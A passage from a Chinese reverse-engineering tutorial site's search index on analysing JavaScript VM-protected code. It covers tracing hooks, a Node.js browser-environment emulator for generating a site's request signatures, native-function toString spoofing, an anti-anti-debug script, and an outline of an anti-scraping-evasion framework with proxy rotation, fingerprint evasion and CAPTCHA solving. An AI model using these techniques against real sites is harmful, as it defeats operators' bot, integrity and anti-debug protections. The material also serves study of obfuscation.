压入 0 个 (sp--) -\u003e STORE 或 POP 操作 弹出 1 个, 压入 1 个 (sp不变) -\u003e 一元运算 (NOT, TYPEOF, ...) 技巧 2：观察 PC 变化 pc 正常递增 (+1 或 +2) -\u003e 普通指令 pc 被直接赋值 -\u003e 跳转指令 (JMP, JMP_IF) pc 不再使用 -\u003e RETURN 或 HALT 技巧 3：观察外部调用 // 如果 handler 中出现 apply / call, 大概率是 CALL opcode case 28: var args = _stack.splice(_sp - _argc, _argc); var fn = _stack[--_sp]; var thisArg = _stack[--_sp]; _stack[++_sp] = fn.apply(thisArg, args); break; ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:5:2","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#识别-handler-的技巧"},{"categories":null,"collections":null,"content":"浏览器 Hook 辅助分析 ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:6:0","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#浏览器-hook-辅助分析"},{"categories":null,"collections":null,"content":"使用 Chrome DevTools 方法 1：条件断点记录 在调度器的 switch 语句处设置条件断点，使其永远不暂停，但打印日志： // 在 switch(opcode) 行设置条件断点, 表达式为: (console.log('PC:', _pc, 'OP:', opcode, 'ST:', JSON.stringify(_stack.slice(0, _sp+1))), false) // 返回 false 使断点不暂停, 但 console.log 已经执行 方法 2：Overrides 注入 使用 Chrome DevTools 的 Local Overrides 功能，直接修改 JS 文件，在调度器中注入跟踪代码： // 在 fetch-decode 之后, execute 之前注入 var __opName = {0:'HALT',1:'PUSH_C',2:'PUSH_L',3:'STORE',4:'ADD',/*...*/}; console.log( '[VM]', 'PC=' + (_pc-1).toString().padStart(5), 'OP=' + opcode.toString().padStart(3), '(' + (__opName[opcode] || 'UNK') + ')', 'SP=' + _sp, 'TOP=' + JSON.stringify(_stack[_sp]) ); ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:6:1","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#使用-chrome-devtools"},{"categories":null,"collections":null,"content":"使用 Frida Hook 当 JSVMP 运行在 WebView 或 Node.js 环境中时，可以使用 Frida 进行 Hook： // Frida 脚本: Hook WebView 中的 evaluateJavascript Java.perform(function() { var WebView = Java.use('android.webkit.WebView'); // 注入跟踪脚本到 WebView WebView.evaluateJavascript.overload('java.lang.String', 'android.webkit.ValueCallback') .implementation = function(script, callback) { // 在目标脚本执行前注入 Hook var hookScript = ` (function() { // 保存原始 Array.prototype.push var origPush = Array.prototype.push; var logBuffer = []; // Hook Array.push 来捕获栈操作 // 注意: 需要精确定位 VM 的栈对象, 避免干扰其他数组 // 这里仅作示意 })(); `; this.evaluateJavascript(hookScript, null); this.evaluateJavascript(script, callback); }; }); ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:6:2","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#使用-frida-hook"},{"categories":null,"collections":null,"content":"关键 API Hook 策略 通过 Hook 浏览器 API，可以捕获 VM 与外部环境的交互，从而快速定位关键逻辑： // Hook XMLHttpRequest 来捕获签名参数 (function() { var origOpen = XMLHttpRequest.prototype.open; var origSend = XMLHttpRequest.prototype.send; XMLHttpRequest.prototype.open = function(method, url) { this._url = url; console.log('[XHR] open:', method, url); return origOpen.apply(this, arguments); }; XMLHttpRequest.prototype.send = function(data) { console.log('[XHR] send:', this._url, data); // 在这里下断点, 然后查看调用栈 // 可以找到 VM 中哪个 CALL handler 发起了请求 // debugger; return origSend.apply(this, arguments); }; })(); // Hook document.cookie 的读取 (function() { var cookieDesc = Object.getOwnPropertyDescriptor(Document.prototype, 'cookie') || Object.getOwnPropertyDescriptor(HTMLDocument.prototype, 'cookie'); if (cookieDesc \u0026\u0026 cookieDesc.get) { Object.defineProperty(document, 'cookie', { get: function() { var val = cookieDesc.get.call(this); console.log('[Cookie] get:', val); console.trace(); // 打印调用栈, 定位 VM 中的读取位置 return val; }, set: function(val) { console.log('[Cookie] set:', val); console.trace(); return cookieDesc.set.call(this, val); } }); } })(); ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:6:3","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#关键-api-hook-策略"},{"categories":null,"collections":null,"content":"补环境执行 “补环境” 是指在 Node.js 中模拟浏览器环境，使 JSVMP 代码能够在浏览器之外运行。这样做的目的是： 更方便地添加日志和调试 批量执行签名生成函数 避免浏览器反调试检测 ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:7:0","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#补环境执行"},{"categories":null,"collections":null,"content":"基本环境框架 // env.js - 浏览器环境模拟框架 // 1. 基础对象 var window = global; var document = {}; var navigator = {}; var location = {}; var screen = {}; var history = {}; // 2. Navigator 模拟 navigator.userAgent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) ' + 'AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36'; navigator.platform = 'Win32'; navigator.language = 'zh-CN'; navigator.languages = ['zh-CN', 'zh', 'en']; navigator.cookieEnabled = true; navigator.webdriver = false; // 重要: 很多检测会查这个属性 // 3. Document 模拟 document.cookie = ''; document.referrer = 'https://www.example.com/'; document.title = 'Example Page'; document.createElement = function(tag) { var elem = { tagName: tag.toUpperCase(), style: {}, setAttribute: function(k, v) { this[k] = v; }, getAttribute: function(k) { return this[k]; }, appendChild: function(child) { return child; }, addEventListener: function() {}, }; if (tag === 'canvas') { elem.getContext = function(type) { return { fillText: function() {}, measureText: function() { return { width: 10 }; }, canvas: { toDataURL: function() { return 'data:image/png;base64,...'; } } }; }; } return elem; }; document.getElementById = function() { return null; }; document.querySelector = function() { return null; }; document.querySelectorAll = function() { return []; }; // 4. Location 模拟 location.href = 'https://www.example.com/page'; location.protocol = 'https:'; location.host = 'www.example.com'; location.hostname = 'www.example.com'; location.pathname = '/page'; location.search = ''; location.hash = ''; // 5. Screen 模拟 screen.width = 1920; screen.height = 1080; screen.availWidth = 1920; screen.availHeight = 1040; screen.colorDepth = 24; // 6. 常用 API window.btoa = function(s) { return Buffer.from(s, 'binary').toString('base64'); }; window.atob = function(s) { return Buffer.from(s, 'base64').toString('binary'); }; window.setTimeout = setTimeout; window.setInterval = setInterval; window.clearTimeout = clearTimeout; window.clearInterval = clearInterval; // 7. XMLHttpRequest 简单模拟 (仅记录, 不真正发送) function XMLHttpRequest() { this.readyState = 0; this.status = 200; this.responseText = '{}'; } XMLHttpRequest.prototype.open = function(method, url) { console.log('[XHR Mock] open:', method, url); }; XMLHttpRequest.prototype.send = function(data) { console.log('[XHR Mock] send:', data); if (this.onreadystatechange) { this.readyState = 4; this.onreadystatechange(); } }; XMLHttpRequest.prototype.setRequestHeader = function() {}; ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:7:1","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#基本环境框架"},{"categories":null,"collections":null,"content":"环境检测对抗 JSVMP 通常会检测运行环境是否是真实浏览器： // 常见检测点及对策 // 检测 1: window === this (全局上下文) // 对策: 确保 window 指向 global global.window = global; global.self = global; global.top = global; global.parent = global; // 检测 2: toString 检测 (检查原生函数) // 很多 VMP 会检查 document.createElement.toString() 是否返回 \"function createElement() { [native code] }\" // 对策: 修改 Function.prototype.toString (function() { var _origToString = Function.prototype.toString; var _nativeMap = new Map(); function patchNative(obj, prop) { if (obj[prop]) { _nativeMap.set(obj[prop], 'function ' + prop + '() { [native code] }'); } } patchNative(document, 'createElement'); patchNative(document, 'getElementById'); // ... 其他需要伪装的函数 Function.prototype.toString = function() { if (_nativeMap.has(this)) { return _nativeMap.get(this); } return _origToString.call(this); }; // 也要伪装 toString 自身 _nativeMap.set(Function.prototype.toString, 'function toString() { [native code] }'); })(); // 检测 3: Proxy 检测 // 一些高级 VMP 会尝试检测对象是否被 Proxy 包装 // 对策: 尽量避免使用 Proxy, 直接定义属性 ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:7:2","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#环境检测对抗"},{"categories":null,"collections":null,"content":"使用 Proxy 记录环境访问 在调试阶段，可以用 Proxy 来自动发现 VMP 需要哪些环境属性： // proxy_logger.js - 自动检测 VMP 需要的环境属性 function createLoggingProxy(name, target) { return new Proxy(target || {}, { get: function(obj, prop) { if (prop === Symbol.toPrimitive || prop === Symbol.toStringTag) { return undefined; } var val = obj[prop]; console.log('[ENV GET] ' + name + '.' + prop + ' =', val); if (val === undefined) { console.log('[ENV MISS] ' + name + '.' + prop + ' 需要补充!'); } return val; }, set: function(obj, prop, val) { console.log('[ENV SET] ' + name + '.' + prop + ' =', val); obj[prop] = val; return true; } }); } // 使用方式 var document = createLoggingProxy('document', { /* 已知属性 */ }); var navigator = createLoggingProxy('navigator', { /* 已知属性 */ }); // 运行 VMP 代码后, 查看日志中的 [ENV MISS], 逐个补充 ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:7:3","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#使用-proxy-记录环境访问"},{"categories":null,"collections":null,"content":"实战案例 💡 思路一句话: 定位 JS VM 解释器入口 → 插桩记录 opcode 执行序列 → 分析每个 handler 语义 → 编写反编译器将虚拟指令还原为原始 JS 代码。 以下以一个典型的 JSVMP 签名生成函数为案例，演示完整的分析流程。 ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:8:0","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#实战案例"},{"categories":null,"collections":null,"content":"场景描述 某网站的请求中携带 _signature 参数，该参数由 JavaScript 动态生成。经初步分析，生成逻辑被 JSVMP 保护。 ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:8:1","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#场景描述"},{"categories":null,"collections":null,"content":"第一步：定位签名生成入口 // 通过 Hook XMLHttpRequest 或 fetch, 找到 _signature 的生成位置 // 在 Network 面板中找到携带 _signature 的请求 // 搜索 \"_signature\" 关键字, 或在 Initiator 中追溯调用栈 // 假设定位到以下代码: var _signature = _0x2f3a(_0x4b7c, _0x1d5e); // _0x2f3a 就是 VM 入口函数 // _0x4b7c 是字节码起始位置或参数 // _0x1d5e 是待签名的数据 ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:8:2","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#第一步定位签名生成入口"},{"categories":null,"collections":null,"content":"第二步：分析 VM 结构 // 格式化代码后, 找到 VM 调度器 function _0x2f3a(_startIdx, _input) { var _G = [3,1,0,5,...]; // 字节码, 数千个数字 var _s = []; // 虚拟栈 var _pc = _startIdx; // 程序计数器 var _r = [_input]; // 寄存器, _r[0] = 输入参数 var _sp = -1; // 栈指针 while (true) { var _op = _G[_pc++]; switch (_op) { case 0: return _s[_sp]; // HALT case 1: _s[++_sp] = _G[_pc++]; break; // PUSH_CONST case 2: _s[++_sp] = _r[_G[_pc++]]; break; // PUSH_REG case 3: _r[_G[_pc++]] = _s[_sp--]; break; // STORE_REG case 4: _sp--; _s[_sp] = _s[_sp] + _s[_sp+1]; break; // ADD case 5: _sp--; _s[_sp] = _s[_sp] - _s[_sp+1]; break; // SUB case 6: _sp--; _s[_sp] = _s[_sp] ^ _s[_sp+1]; break; // XOR case 7: _sp--; _s[_sp] = _s[_sp] \u0026 _s[_sp+1]; break; // AND case 8: _sp--; _s[_sp] = _s[_sp] | _s[_sp+1]; break; // OR case 9: _sp--; _s[_sp] = _s[_sp] \u003c\u003c _s[_sp+1]; break;// SHL case 10: _sp--; _s[_sp] = _s[_sp] \u003e\u003e\u003e _s[_sp+1]; break;// USHR case 11: _pc = _G[_pc]; break; // JMP case 12: // JMP_IF if (_s[_sp--]) _pc = _G[_pc]; else _pc++; break; case 13: // CALL var _n = _G[_pc++]; // 参数数量 var _args = _s.splice(_sp - _n + 1, _n); _sp -= _n; var _fn = _s[_sp--]; var _this = _s[_sp--]; _s[++_sp] = _fn.apply(_this, _args); break; case 14: // GET_PROP _sp--; _s[_sp] = _s[_sp][_s[_sp+1]]; break; case 15: // PUSH_THIS _s[++_sp] = this; break; // ... 更多 handler } } } ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:8:3","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#第二步分析-vm-结构"},{"categories":null,"collections":null,"content":"第三步：编写反汇编器 // disasm.js - 简易反汇编器 function disassemble(G, startPC, endPC) { var pc = startPC; var output = []; var opNames = { 0: ['HALT', 0], 1: ['PUSH_CONST', 1], 2: ['PUSH_REG', 1], 3: ['STORE_REG', 1], 4: ['ADD', 0], 5: ['SUB', 0], 6: ['XOR', 0], 7: ['AND', 0], 8: ['OR', 0], 9: ['SHL', 0], 10: ['USHR', 0], 11: ['JMP', 1], 12: ['JMP_IF', 1], 13: ['CALL', 1], 14: ['GET_PROP', 0], 15: ['PUSH_THIS', 0], }; while (pc \u003c endPC) { var addr = pc; var op = G[pc++]; var info = opNames[op]; if (!info) { output.push(addr + ': UNKNOWN_' + op); continue; } var line = addr.toString().padStart(6, '0') + ': ' + info[0].padEnd(12); // 读取操作数 for (var i = 0; i \u003c info[1]; i++) { line += ' ' + G[pc++]; } output.push(line); } return output.join('\\n'); } // 使用示例 // console.log(disassemble(_G, 0, 100)); // // 输出: // 000000: PUSH_REG 0 // 000002: PUSH_CONST 10 // 000004: AND // 000005: STORE_REG 1 // 000007: PUSH_REG 0 // 000009: PUSH_CONST 8 // 000011: USHR // ... ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:8:4","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#第三步编写反汇编器"},{"categories":null,"collections":null,"content":"第四步：分析执行轨迹 PC | OP | Stack (top) | 说明 -------|-------------|----------------------|------------------ 000000 | PUSH_REG 0 | [input_data] | 加载输入 000002 | PUSH_CONST | [input_data, 0xFF] | 加载掩码 000004 | AND | [input_data \u0026 0xFF] | 取低8位 000005 | STORE_REG 1 | [] | 存入 r1 000007 | PUSH_REG 0 | [input_data] | 再次加载输入 000009 | PUSH_CONST | [input_data, 8] | 加载移位量 000011 | USHR | [input_data \u003e\u003e\u003e 8] | 右移8位 000012 | STORE_REG 2 | [] | 存入 r2 ... | ... | ... | ... =\u003e 还原逻辑: 这段代码在对输入做逐字节拆分, 类似: r1 = input \u0026 0xFF; r2 = (input \u003e\u003e\u003e 8) \u0026 0xFF; r3 = (input \u003e\u003e\u003e 16) \u0026 0xFF; r4 = (input \u003e\u003e\u003e 24) \u0026 0xFF; =\u003e 这是一个常见的 32 位整数拆字节操作 ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:8:5","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#第四步分析执行轨迹"},{"categories":null,"collections":null,"content":"自动化工具 ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:9:0","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#自动化工具"},{"categories":null,"collections":null,"content":"现有工具与项目 工具 说明 链接/备注 AST Explorer 在线查看 JS AST 结构 astexplorer.net Babel JS 编译器框架，可用于 AST 分析和代码变换 babeljs.io estools/escodegen AST 代码生成库 npm: escodegen de4js 在线 JS 反混淆工具 de4js.com jsvmp-decompiler 社区 JSVMP 反编译项目 GitHub 搜索 Chrome DevTools 断点、条件日志、覆盖 内置 Frida 动态 Hook 框架 frida.re mitmproxy 中间人代理，可修改 JS 响应 mitmproxy.org ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:9:1","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#现有工具与项目"},{"categories":null,"collections":null,"content":"自定义跟踪脚本模板 // trace_template.js - 可复用的 VMP 跟踪模板 (function() { 'use strict'; // ========== 配置区 ========== var VM_DISPATCHER_FUNC = '_0x2f3a'; // VM 调度器函数名 var BYTECODE_VAR = '_G'; // 字节码数组变量名 var PC_VAR = '_pc'; // PC 变量名 var STACK_VAR = '_s'; // 栈变量名 var MAX_LOG_ENTRIES = 10000; // 最大记录条数 // ========== 跟踪逻辑 ========== var traceLog = []; var traceCount = 0; function logInstruction(pc, opcode, stack, sp) { if (traceCount \u003e= MAX_LOG_ENTRIES) return; traceLog.push({ pc: pc, op: opcode, stackTop: stack[sp], stackSize: sp + 1, timestamp: Date.now() }); traceCount++; } // 导出分析结果 function exportTrace() { var blob = new Blob( [JSON.stringify(traceLog, null, 2)], { type: 'application/json' } ); var url = URL.createObjectURL(blob); var a = document.createElement('a'); a.href = url; a.download = 'vm_trace_' + Date.now() + '.json'; a.click(); console.log('Trace exported:', traceLog.length, 'entries'); } // 统计 opcode 使用频率 function analyzeTrace() { var freq = {}; traceLog.forEach(function(entry) { freq[entry.op] = (freq[entry.op] || 0) + 1; }); console.table( Object.keys(freq) .sort(function(a, b) { return freq[b] - freq[a]; }) .map(function(op) { return { opcode: op, count: freq[op] }; }) ); } // 挂载到 window 供手动调用 window.__vmTrace = { log: traceLog, export: exportTrace, analyze: analyzeTrace }; console.log('[VMP Tracer] Ready. Use __vmTrace.export() to save, __vmTrace.analyze() for stats.'); })(); ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:9:2","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#自定义跟踪脚本模板"},{"categories":null,"collections":null,"content":"使用 Babel 自动标注 Handler // label_handlers.js - 使用 Babel 自动分析 switch case const parser = require('@babel/parser'); const traverse = require('@babel/traverse').default; const generate = require('@babel/generator').default; const t = require('@babel/types'); const fs = require('fs'); const code = fs.readFileSync('vm_code.js', 'utf8'); const ast = parser.parse(code); traverse(ast, { SwitchCase(path) { const testVal = path.node.test; if (!testVal || !t.isNumericLiteral(testVal)) return; const caseNum = testVal.value; const body = path.node.consequent; // 分析 case body 中的操作 var label = 'UNKNOWN'; const bodyCode = body.map(n =\u003e generate(n).code).join('; '); // 简单的模式匹配来猜测 opcode 功能 if (/\\.push\\(/.test(bodyCode)) label = 'PUSH_*'; if (/\\.pop\\(/.test(bodyCode)) label = 'POP / STORE_*'; if (/\\+\\s/.test(bodyCode) \u0026\u0026 /\\[\\w+\\s*-/.test(bodyCode)) label = 'ADD'; if (/\\-\\s/.test(bodyCode) \u0026\u0026 /\\[\\w+\\s*-/.test(bodyCode)) label = 'SUB'; if (/\\^\\s/.test(bodyCode)) label = 'XOR'; if (/return/.test(bodyCode)) label = 'HALT / RETURN'; if (/apply|call/.test(bodyCode)) label = 'CALL'; if (/\\=\\s*\\w+\\[\\w+\\]/.test(bodyCode) \u0026\u0026 !/pc|PC/.test(bodyCode)) label = 'GET_PROP'; // 添加注释 path.node.leadingComments = path.node.leadingComments || []; path.node.leadingComments.push({ type: 'CommentLine', value: ' OP ' + caseNum + ': ' + label }); console.log('Case', caseNum, '-\u003e', label); } }); const output = generate(ast, { comments: true }).code; fs.writeFileSync('vm_code_annotated.js', output); console.log('Done! Annotated code saved to vm_code_annotated.js'); ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:9:3","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#使用-babel-自动标注-handler"},{"categories":null,"collections":null,"content":"防御与对抗 ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:10:0","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#防御与对抗"},{"categories":null,"collections":null,"content":"VMP 作者常用的加强手段 1. 多层嵌套 VM 将 VM 解释器本身也用另一个 VM 保护，形成嵌套结构： 外层 VM 执行 -\u003e 内层 VM 字节码 -\u003e 内层 VM 执行 -\u003e 目标逻辑字节码 这使得分析者不仅要还原目标逻辑，还要先还原内层 VM 本身。 2. 动态 Opcode 映射 每次生成的字节码使用不同的 opcode 编号映射，使得固定的反汇编器失效： // 版本 A: case 1 = ADD, case 2 = SUB // 版本 B: case 1 = JMP, case 2 = PUSH // 每次构建都会随机打乱映射关系 3. Opcode 融合 将多个简单操作合并为一个复合 opcode，增加 handler 数量和分析难度： // 普通: PUSH_LOCAL 0; PUSH_CONST 5; ADD; (3条指令) // 融合: ADD_LOCAL_CONST 0, 5; (1条指令) case 47: // ADD_LOCAL_CONST (融合指令) var slot = _G[_pc++]; var constVal = _G[_pc++]; _s[++_sp] = _r[slot] + constVal; break; 4. 环境指纹绑定 将字节码的解密密钥绑定到浏览器环境指纹（如 Canvas 指纹、WebGL 信息等），使得在非目标环境中无法正确解码字节码。 5. 运行时完整性校验 VM 在执行过程中定期校验自身代码的完整性（如计算 hash），检测是否被篡改或注入了跟踪代码： // 简化示例 case 99: // SELF_CHECK var vmCode = _0x2f3a.toString(); var hash = crc32(vmCode); if (hash !== EXPECTED_HASH) { // 检测到篡改, 走错误逻辑或直接崩溃 _pc = TRAP_ADDRESS; } break; 6. 反调试指令 在字节码中嵌入检测调试器的指令： case 98: // ANTI_DEBUG var start = performance.now(); // 执行一些操作 var elapsed = performance.now() - start; if (elapsed \u003e 100) { // 时间异常, 可能在单步调试 _pc = TRAP_ADDRESS; } break; ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:10:1","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#vmp-作者常用的加强手段"},{"categories":null,"collections":null,"content":"对抗策略总结 加强手段 对抗方法 多层嵌套 VM 逐层分析，从外到内；优先用动态分析定位关键逻辑 动态 Opcode 映射 动态跟踪而非依赖静态 opcode 编号；按 handler 行为分类 Opcode 融合 将融合指令拆解为基本操作序列来理解 环境指纹绑定 完善补环境，或直接在真实浏览器中分析 完整性校验 Hook Function.prototype.toString 返回原始代码 反调试指令 Hook performance.now / Date.now 返回稳定值 debugger 陷阱 Chrome DevTools 中禁用 “Pause on debugger statements” 代码自修改 在修改点下断点，记录修改前后的差异 ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:10:2","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#对抗策略总结"},{"categories":null,"collections":null,"content":"通用反反调试脚本 // anti_anti_debug.js - 在目标页面加载前注入 (function() { 'use strict'; // 1. 禁用 debugger 语句 // 通过 hook Function 构造器来拦截动态生成的 debugger var _origFunction = Function; Function = function() { var args = Array.from(arguments); var body = args[args.length - 1]; if (typeof body === 'string' \u0026\u0026 body.indexOf('debugger') !== -1) { args[args.length - 1] = body.replace(/debugger/g, ''); } return _origFunction.apply(this, args); }; Function.prototype = _origFunction.prototype; Object.defineProperty(Function, 'name', { value: 'Function' }); // 2. 稳定化时间函数 (防止时间检测) var _startTime = Date.now(); var _fakeElapsed = 0; var _origDateNow = Date.now; var _origPerfNow = performance.now.bind(performance); Date.now = function() { _fakeElapsed += Math.random() * 2 + 0.5; // 模拟正常耗时 return _startTime + Math.floor(_fakeElapsed); }; performance.now = function() { return _fakeElapsed; }; // 3. 保护 console 对象 // 有些 VMP 会重写 console 来阻止日志输出 var _console = {}; ['log', 'warn', 'error', 'info', 'debug', 'trace', 'table'].forEach(function(method) { _console[method] = console[method].bind(console); }); Object.defineProperty(window, '__console', { value: _console, writable: false, configurable: false }); console.log('[Anti-Anti-Debug] Protections active'); })(); ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:10:3","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#通用反反调试脚本"},{"categories":null,"collections":null,"content":"常用工具 浏览器开发者工具：用于下断点、单步调试和观察变量。 Frida：用于 Hook 关键函数，实现动态跟踪。 Babel：用于将 JavaScript 代码解析成 AST，辅助静态分析。 AST Explorer：一个在线工具，可以方便地查看代码对应的 AST 结构。 IDA Pro / Ghidra：虽然主要用于原生代码，但它们强大的反汇编和反编译功能可以为理解复杂的 JavaScript 虚拟机逻辑提供借鉴。 mitmproxy / Charles：HTTP 代理工具，用于拦截和修改 JS 文件，注入跟踪代码。 Node.js：用于在浏览器外执行 VMP 代码，配合补环境技术。 Overrides (Chrome)：DevTools 本地覆盖功能，可持久化修改线上 JS 文件。 ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:11:0","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#常用工具"},{"categories":null,"collections":null,"content":"反爬虫对抗框架 ","date":"2025-05-07","objectID":"/reverse_engineering/web/06-engineering/anti_anti_scraping_framework/:0:0","tags":["Web","浏览器指纹","代理池","工程实践","分布式","Playwright"],"title":"反爬虫对抗框架","uri":"/reverse_engineering/web/06-engineering/anti_anti_scraping_framework/#反爬虫对抗框架"},{"categories":null,"collections":null,"content":"概述 反爬虫对抗框架是一个综合性的系统，集成了多种对抗技术，用于突破各类反爬虫防护。本章介绍如何设计一个通用的反爬虫对抗框架。 ","date":"2025-05-07","objectID":"/reverse_engineering/web/06-engineering/anti_anti_scraping_framework/:1:0","tags":["Web","浏览器指纹","代理池","工程实践","分布式","Playwright"],"title":"反爬虫对抗框架","uri":"/reverse_engineering/web/06-engineering/anti_anti_scraping_framework/#概述"},{"categories":null,"collections":null,"content":"框架架构 ┌────────────────────────────────────────────┐ │ Scraper Application │ └──────────────┬─────────────────────────────┘ │ ┌──────────────┴─────────────────────────────┐ │ Anti-Anti-Scraping Framework │ │ │ │ ┌──────────────────────────────────────┐ │ │ │ Request Middleware │ │ │ │ - User-Agent Rotation │ │ │ │ - Header Randomization │ │ │ │ - Cookie Management │ │ │ └──────────────────────────────────────┘ │ │ │ │ ┌──────────────────────────────────────┐ │ │ │ Proxy Manager │ │ │ │ - Proxy Pool │ │ │ │ - IP Rotation │ │ │ │ - Proxy Health Check │ │ │ └──────────────────────────────────────┘ │ │ │ │ ┌──────────────────────────────────────┐ │ │ │ Browser Simulator │ │ │ │ - Puppeteer/Playwright │ │ │ │ - Fingerprint Evasion │ │ │ │ - Human Behavior Simulation │ │ │ └──────────────────────────────────────┘ │ │ │ │ ┌──────────────────────────────────────┐ │ │ │ CAPTCHA Solver │ │ │ │ - 2Captcha Integration │ │ │ │ - OCR Recognition │ │ │ │ - AI Model Prediction │ │ │ └──────────────────────────────────────┘ │ │ │ │ ┌──────────────────────────────────────┐ │ │ │ Rate Limiter │ │ │ │ - Adaptive Delay │ │ │ │ - Token Bucket │ │ │ │ - Request Scheduling │ │ │ └──────────────────────────────────────┘ │ │ │ │ ┌──────────────────────────────────────┐ │ │ │ Retry \u0026 Fallback │ │ │ │ - Exponential Backoff │ │ │ │ - Fallback Strategies │ │ │ │ - Error Recovery │ │ │ └──────────────────────────────────────┘ │ └────────────────────────────────────────────┘ 